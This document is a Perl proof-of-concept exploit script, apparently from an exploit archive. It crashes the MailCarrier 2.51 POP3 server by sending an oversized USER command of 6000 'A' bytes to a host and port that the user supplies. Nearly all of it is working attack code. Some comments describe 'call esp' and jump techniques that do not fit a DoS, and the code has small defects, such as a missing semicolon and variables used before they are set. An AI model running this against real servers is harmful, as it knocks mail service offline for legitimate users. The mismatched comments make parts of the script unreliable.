MailCarrier 2.51 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket::INET  
  
# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 16 january 2024  
# Tested Version: MailCarrier 2.51  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.  
#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $buf = "\x41" x 6000;  
  
  
my $s = IO::Socket::INET->new(  
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp'  
) or die "Unable to connect: $!\n";  
  
$s->recv(my $data, 1024); # Grab banners (if any)  
$s->send('USER ' . $buf . "\r\n");  
$s->recv(my $response, 1024);  
$s->send("QUIT\r\n");  
$s->close();  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print q {  
  
,--,  
_ ___/ /\|  
,;'( )__, ) ~  
// // '--;   
' \ | ^  
^ ^  
  
[+] MailCarrier 2.51 - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
`